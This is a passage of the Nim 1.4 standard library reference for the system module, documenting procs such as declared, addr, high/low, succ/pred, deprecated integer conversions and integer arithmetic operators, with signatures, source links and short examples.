runnableExamples "-r:off": ## this one is only compiled import std/browsers openDefaultBrowser "https://forum.nim-lang.org/" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L120) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L120) ``` proc declared(x: untyped): bool {...}{.magic: "Declared", noSideEffect, compileTime.} ``` Special compile-time procedure that checks whether `x` is declared. `x` has to be an identifier or a qualified identifier. See also: * [declaredInScope](#declaredInScope,untyped) This can be used to check whether a library provides a certain feature or not: ``` when not declared(strutils.toUpper): # provide our own toUpper proc here, because strutils is # missing it. ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L154) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L154) ``` proc declaredInScope(x: untyped): bool {...}{.magic: "DeclaredInScope", noSideEffect, compileTime.} ``` Special compile-time procedure that checks whether `x` is declared in the current scope. `x` has to be an identifier. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L172) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L172) ``` proc `addr`[T](x: var T): ptr T {...}{.magic: "Addr", noSideEffect.} ``` Builtin `addr` operator for taking the address of a memory location. Cannot be overloaded. See also: * [unsafeAddr](#unsafeAddr,T) ``` var buf: seq[char] = @['a','b','c'] p = buf[1].addr echo p.repr # ref 0x7faa35c40059 --> 'b' echo p[] # b ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L178) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L178) ``` proc unsafeAddr[T](x: T): ptr T {...}{.magic: "Addr", noSideEffect.} ``` Builtin `addr` operator for taking the address of a memory location. This works even for `let` variables or parameters for better interop with C and so it is considered even more unsafe than the ordinary [addr](#addr,T). **Note**: When you use it to write a wrapper for a C library, you should always check that the original library does never write to data behind the pointer that is returned from this procedure. Cannot be overloaded. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L193) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L193) ``` proc typeof(x: untyped; mode = typeOfIter): typedesc {...}{.magic: "TypeOf", noSideEffect, compileTime.} ``` Builtin `typeof` operation for accessing the type of an expression. Since version 0.20.0. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L231) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L231) ``` proc internalNew[T](a: var ref T) {...}{.magic: "New", noSideEffect.} ``` Leaked implementation detail. Do not use. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L240) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L240) ``` proc new[T](a: var ref T; finalizer: proc (x: ref T) {...}{.nimcall.}) {...}{. magic: "NewFinalize", noSideEffect.} ``` Creates a new object of type `T` and returns a safe (traced) reference to it in `a`. When the garbage collector frees the object, `finalizer` is called. The `finalizer` may not keep a reference to the object pointed to by `x`. The `finalizer` cannot prevent the GC from freeing the object. **Note**: The `finalizer` refers to the type `T`, not to the object! This means that for each object of type `T` the finalizer will be called! [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L244) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L244) ``` proc wasMoved[T](obj: var T) {...}{.magic: "WasMoved", noSideEffect.} ``` Resets an object `obj` to its initial (binary zero) value to signify it was "moved" and to signify its destructor should do nothing and ideally be optimized away. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L257) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L257) ``` proc move[T](x: var T): T {...}{.magic: "Move", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L263) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L263) ``` proc high[T: Ordinal | enum | range](x: T): T {...}{.magic: "High", noSideEffect, deprecated: "Deprecated since v1.4; there should not be `high(value)`. Use `high(type)`.".} ``` **Deprecated:** Deprecated since v1.4; there should not be `high(value)`. Use `high(type)`. Returns the highest possible value of an ordinal value `x`. As a special semantic rule, `x` may also be a type identifier. **This proc is deprecated**, use this one instead: * [high(typedesc)](#high,typedesc%5BT%5D) ``` high(2) # => 9223372036854775807 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L291) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L291) ``` proc high[T: Ordinal | enum | range](x: typedesc[T]): T {...}{.magic: "High", noSideEffect.} ``` Returns the highest possible value of an ordinal or enum type. `high(int)` is Nim's way of writing INT\_MAX or MAX\_INT. See also: * [low(typedesc)](#low,typedesc%5BT%5D) ``` high(int) # => 9223372036854775807 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L303) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L303) ``` proc high[T](x: openArray[T]): int {...}{.magic: "High", noSideEffect.} ``` Returns the highest possible index of a sequence `x`. See also: * [low(openArray)](#low,openArray%5BT%5D) ``` var s = @[1, 2, 3, 4, 5, 6, 7] high(s) # => 6 for i in low(s)..high(s): echo s[i] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L314) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L314) ``` proc high[I, T](x: array[I, T]): I {...}{.magic: "High", noSideEffect.} ``` Returns the highest possible index of an array `x`. See also: * [low(array)](#low,array%5BI,T%5D) ``` var arr = [1, 2, 3, 4, 5, 6, 7] high(arr) # => 6 for i in low(arr)..high(arr): echo arr[i] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L326) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L326) ``` proc high[I, T](x: typedesc[array[I, T]]): I {...}{.magic: "High", noSideEffect.} ``` Returns the highest possible index of an array type. See also: * [low(typedesc[array])](#low,typedesc%5Barray%5BI,T%5D%5D) ``` high(array[7, int]) # => 6 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L338) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L338) ``` proc high(x: cstring): int {...}{.magic: "High", noSideEffect.} ``` Returns the highest possible index of a compatible string `x`. This is sometimes an O(n) operation. See also: * [low(cstring)](#low,cstring) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L347) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L347) ``` proc high(x: string): int {...}{.magic: "High", noSideEffect.} ``` Returns the highest possible index of a string `x`. See also: * [low(string)](#low,string) ``` var str = "Hello world!" high(str) # => 11 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L354) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L354) ``` proc low[T: Ordinal | enum | range](x: T): T {...}{.magic: "Low", noSideEffect, deprecated: "Deprecated since v1.4; there should not be `low(value)`. Use `low(type)`.".} ``` **Deprecated:** Deprecated since v1.4; there should not be `low(value)`. Use `low(type)`. Returns the lowest possible value of an ordinal value `x`. As a special semantic rule, `x` may also be a type identifier. **This proc is deprecated**, use this one instead: * [low(typedesc)](#low,typedesc%5BT%5D) ``` low(2) # => -9223372036854775808 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L364) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L364) ``` proc low[T: Ordinal | enum | range](x: typedesc[T]): T {...}{.magic: "Low", noSideEffect.} ``` Returns the lowest possible value of an ordinal or enum type. `low(int)` is Nim's way of writing INT\_MIN or MIN\_INT. See also: * [high(typedesc)](#high,typedesc%5BT%5D) ``` low(int) # => -9223372036854775808 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L375) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L375) ``` proc low[T](x: openArray[T]): int {...}{.magic: "Low", noSideEffect.} ``` Returns the lowest possible index of a sequence `x`. See also: * [high(openArray)](#high,openArray%5BT%5D) ``` var s = @[1, 2, 3, 4, 5, 6, 7] low(s) # => 0 for i in low(s)..high(s): echo s[i] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L386) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L386) ``` proc low[I, T](x: array[I, T]): I {...}{.magic: "Low", noSideEffect.} ``` Returns the lowest possible index of an array `x`. See also: * [high(array)](#high,array%5BI,T%5D) ``` var arr = [1, 2, 3, 4, 5, 6, 7] low(arr) # => 0 for i in low(arr)..high(arr): echo arr[i] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L398) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L398) ``` proc low[I, T](x: typedesc[array[I, T]]): I {...}{.magic: "Low", noSideEffect.} ``` Returns the lowest possible index of an array type. See also: * [high(typedesc[array])](#high,typedesc%5Barray%5BI,T%5D%5D) ``` low(array[7, int]) # => 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L410) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L410) ``` proc low(x: cstring): int {...}{.magic: "Low", noSideEffect.} ``` Returns the lowest possible index of a compatible string `x`. See also: * [high(cstring)](#high,cstring) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L419) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L419) ``` proc low(x: string): int {...}{.magic: "Low", noSideEffect.} ``` Returns the lowest possible index of a string `x`. See also: * [high(string)](#high,string) ``` var str = "Hello world!" low(str) # => 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L425) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L425) ``` proc shallowCopy[T](x: var T; y: T) {...}{.noSideEffect, magic: "ShallowCopy".} ``` Use this instead of `=` for a shallow copy. The shallow copy only changes the semantics for sequences and strings (and types which contain those). Be careful with the changed semantics though! There is a reason why the default assignment does a deep copy of sequences and strings. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L435) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L435) ``` proc `[]`[I: Ordinal; T](a: T; i: I): T {...}{.noSideEffect, magic: "ArrGet".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L447) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L447) ``` proc `[]=`[I: Ordinal; T, S](a: T; i: I; x: sink S) {...}{.noSideEffect, magic: "ArrPut".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L449) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L449) ``` proc `=`[T](dest: var T; src: T) {...}{.noSideEffect, magic: "Asgn".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L451) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L451) ``` proc `=destroy`[T](x: var T) {...}{.inline, magic: "Destroy".} ``` Generic destructor implementation that can be overridden. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L458) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L458) ``` proc `=sink`[T](x: var T; y: T) {...}{.inline, magic: "Asgn".} ``` Generic sink implementation that can be overridden. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L461) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L461) ``` proc `..`[T, U](a: sink T; b: sink U): HSlice[T, U] {...}{.noSideEffect, inline, magic: "DotDot".} ``` Binary slice operator that constructs an interval `[a, b]`, both `a` and `b` are inclusive. Slices can also be used in the set constructor and in ordinal case statements, but then they are special-cased by the compiler. ``` let a = [10, 20, 30, 40, 50] echo a[2 .. 3] # @[30, 40] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L471) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L471) ``` proc `..`[T](b: sink T): HSlice[int, T] {...}{.noSideEffect, inline, magic: "DotDot".} ``` Unary slice operator that constructs an interval `[default(int), b]`. ``` let a = [10, 20, 30, 40, 50] echo a[.. 2] # @[10, 20, 30] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L483) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L483) ``` proc succ[T: Ordinal](x: T; y = 1): T {...}{.magic: "Succ", noSideEffect.} ``` Returns the `y`-th successor (default: 1) of the value `x`. `T` has to be an [ordinal type](#Ordinal). If such a value does not exist, `OverflowDefect` is raised or a compile time error occurs. ``` let x = 5 echo succ(5) # => 6 echo succ(5, 3) # => 8 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L1) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L1) ``` proc pred[T: Ordinal](x: T; y = 1): T {...}{.magic: "Pred", noSideEffect.} ``` Returns the `y`-th predecessor (default: 1) of the value `x`. `T` has to be an [ordinal type](#Ordinal). If such a value does not exist, `OverflowDefect` is raised or a compile time error occurs. ``` let x = 5 echo pred(5) # => 4 echo pred(5, 3) # => 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L13) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L13) ``` proc inc[T: Ordinal](x: var T; y = 1) {...}{.magic: "Inc", noSideEffect.} ``` Increments the ordinal `x` by `y`. If such a value does not exist, `OverflowDefect` is raised or a compile time error occurs. This is a short notation for: `x = succ(x, y)`. ``` var i = 2 inc(i) # i <- 3 inc(i, 3) # i <- 6 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L25) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L25) ``` proc dec[T: Ordinal](x: var T; y = 1) {...}{.magic: "Dec", noSideEffect.} ``` Decrements the ordinal `x` by `y`. If such a value does not exist, `OverflowDefect` is raised or a compile time error occurs. This is a short notation for: `x = pred(x, y)`. ``` var i = 2 dec(i) # i <- 1 dec(i, 3) # i <- -2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L36) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L36) ``` proc ze(x: int8): int {...}{.deprecated, raises: [], tags: [].} ``` **Deprecated** zero extends a smaller integer type to `int`. This treats `x` as unsigned. **Deprecated since version 0.19.9**: Use unsigned integers instead. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L53) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L53) ``` proc ze(x: int16): int {...}{.deprecated, raises: [], tags: [].} ``` **Deprecated** zero extends a smaller integer type to `int`. This treats `x` as unsigned. **Deprecated since version 0.19.9**: Use unsigned integers instead. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L59) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L59) ``` proc ze64(x: int8): int64 {...}{.deprecated, raises: [], tags: [].} ``` **Deprecated** zero extends a smaller integer type to `int64`. This treats `x` as unsigned. **Deprecated since version 0.19.9**: Use unsigned integers instead. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L65) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L65) ``` proc ze64(x: int16): int64 {...}{.deprecated, raises: [], tags: [].} ``` **Deprecated** zero extends a smaller integer type to `int64`. This treats `x` as unsigned. **Deprecated since version 0.19.9**: Use unsigned integers instead. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L71) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L71) ``` proc ze64(x: int32): int64 {...}{.deprecated, raises: [], tags: [].} ``` **Deprecated** zero extends a smaller integer type to `int64`. This treats `x` as unsigned. **Deprecated since version 0.19.9**: Use unsigned integers instead. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L77) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L77) ``` proc ze64(x: int): int64 {...}{.deprecated, raises: [], tags: [].} ``` **Deprecated** zero extends a smaller integer type to `int64`. This treats `x` as unsigned. Does nothing if the size of an `int` is the same as `int64`. (This is the case on 64 bit processors.) **Deprecated since version 0.19.9**: Use unsigned integers instead. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L83) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L83) ``` proc toU8(x: int): int8 {...}{.deprecated, raises: [], tags: [].} ``` **Deprecated** treats `x` as unsigned and converts it to a byte by taking the last 8 bits from `x`. **Deprecated since version 0.19.9**: Use unsigned integers instead. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L90) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L90) ``` proc toU16(x: int): int16 {...}{.deprecated, raises: [], tags: [].} ``` **Deprecated** treats `x` as unsigned and converts it to an `int16` by taking the last 16 bits from `x`. **Deprecated since version 0.19.9**: Use unsigned integers instead. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L96) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L96) ``` proc toU32(x: int64): int32 {...}{.deprecated, raises: [], tags: [].} ``` **Deprecated** treats `x` as unsigned and converts it to an `int32` by taking the last 32 bits from `x`. **Deprecated since version 0.19.9**: Use unsigned integers instead. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L102) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L102) ``` proc `+`(x: int): int {...}{.magic: "UnaryPlusI", noSideEffect.} ``` Unary `+` operator for an integer. Has no effect. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L156) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L156) ``` proc `+`(x: int8): int8 {...}{.magic: "UnaryPlusI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L158) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L158) ``` proc `+`(x: int16): int16 {...}{.magic: "UnaryPlusI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L159) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L159) ``` proc `+`(x: int32): int32 {...}{.magic: "UnaryPlusI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L160) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L160) ``` proc `+`(x: int64): int64 {...}{.magic: "UnaryPlusI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L161) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L161) ``` proc `-`(x: int): int {...}{.magic: "UnaryMinusI", noSideEffect.} ``` Unary `-` operator for an integer. Negates `x`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L163) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L163) ``` proc `-`(x: int8): int8 {...}{.magic: "UnaryMinusI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L165) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L165) ``` proc `-`(x: int16): int16 {...}{.magic: "UnaryMinusI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L166) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L166) ``` proc `-`(x: int32): int32 {...}{.magic: "UnaryMinusI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L167) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L167) ``` proc `-`(x: int64): int64 {...}{.magic: "UnaryMinusI64", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L168) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L168) ``` proc `not`(x: int): int {...}{.magic: "BitnotI", noSideEffect.} ``` Computes the `bitwise complement` of the integer `x`. ``` var a = 0'u8 b = 0'i8 c = 1000'u16 d = 1000'i16 echo not a # => 255 echo not b # => -1 echo not c # => 64535 echo not d # => -1001 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L170) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L170) ``` proc `not`(x: int8): int8 {...}{.magic: "BitnotI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L184) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L184) ``` proc `not`(x: int16): int16 {...}{.magic: "BitnotI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L185) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L185) ``` proc `not`(x: int32): int32 {...}{.magic: "BitnotI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L186) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L186) ``` proc `not`(x: int64): int64 {...}{.magic: "BitnotI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L187) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L187) ``` proc `+`(x, y: int): int {...}{.magic: "AddI", noSideEffect.} ``` Binary `+` operator for an integer. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L189) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L189) ``` proc `+`(x, y: int8): int8 {...}{.magic: "AddI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L191) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L191) ``` proc `+`(x, y: int16): int16 {...}{.magic: "AddI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L192) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L192) ``` proc `+`(x, y: int32): int32 {...}{.magic: "AddI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L193) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L193) ``` proc `+`(x, y: int64): int64 {...}{.magic: "AddI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L194) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L194) ``` proc `-`(x, y: int): int {...}{.magic: "SubI", noSideEffect.} ``` Binary `-` operator for an integer. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L196) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L196) ``` proc `-`(x, y: int8): int8 {...}{.magic: "SubI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L198) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L198) ``` proc `-`(x, y: int16): int16 {...}{.magic: "SubI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L199) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L199) ``` proc `-`(x, y: int32): int32 {...}{.magic: "SubI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L200) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L200) ``` proc `-`(x, y: int64): int64 {...}{.magic: "SubI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L201) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L201) ``` proc `*`(x, y: int): int {...}{.magic: "MulI", noSideEffect.} ``` Binary `*` operator for an integer. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L203) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L203) ``` proc `*`(x, y: int8): int8 {...}{.magic: "MulI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L205) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L205) ``` proc `*`(x, y: int16): int16 {...}{.magic: "MulI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L206) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L206) ``` proc `*`(x, y: int32): int32 {...}{.magic: "MulI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L207) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L207) ``` proc `*`(x, y: int64): int64 {...}{.magic: "MulI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L208) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L208) ``` proc `div`(x, y: int): int {...}{.magic: "DivI", noSideEffect.} ``` Computes the integer division. This is roughly the same as `trunc(x/y)`. ``` ( 1 div 2) == 0 ( 2 div 2) == 1 ( 3 div 2) == 1 ( 7 div 3) == 2 (-7 div 3) == -2 ( 7 div -3) == -2 (-7 div -3) == 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L210) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L210) ``` proc `div`(x, y: int8): int8 {...}{.magic: "DivI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L223) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L223) ``` proc `div`(x, y: int16): int16 {...}{.magic: "DivI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L224) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L224) ``` proc `div`(x, y: int32): int32 {...}{.magic: "DivI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L225) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L225) ``` proc `div`(x, y: int64): int64 {...}{.magic: "DivI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L226) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L226) ``` proc `mod`(x, y: int): int {...}{.magic: "ModI", noSideEffect.} ``` Computes the integer modulo operation (remainder). This is the same as `x - (x div y) * y`. ``` ( 7 mod 5) == 2 (-7 mod 5) == -2 ( 7 mod -5) == 2 (-7 mod -5) == -2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L228) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L228) ``` proc `mod`(x, y: int8): int8 {...}{.magic: "ModI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L238) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L238) ``` proc `mod`(x, y: int16): int16 {...}{.magic: "ModI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L239) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L239) ``` proc `mod`(x, y: int32): int32 {...}{.magic: "ModI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L240) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L240) ``` proc `mod`(x, y: int64): int64 {...}{.magic: "ModI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L241) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L241) ``` proc `shr`(x: int; y: SomeInteger): int {...}{.magic: "AshrI", noSideEffect.} ``` Computes the `shift right` operation of `x` and `y`, filling vacant bit positions with the sign bit. **Note**: [Operator precedence](manual#syntax-precedence) is different than in *C*. See also: * [ashr proc](#ashr,int,SomeInteger) for arithmetic shift right ``` 0b0001_0000'i8 shr 2 == 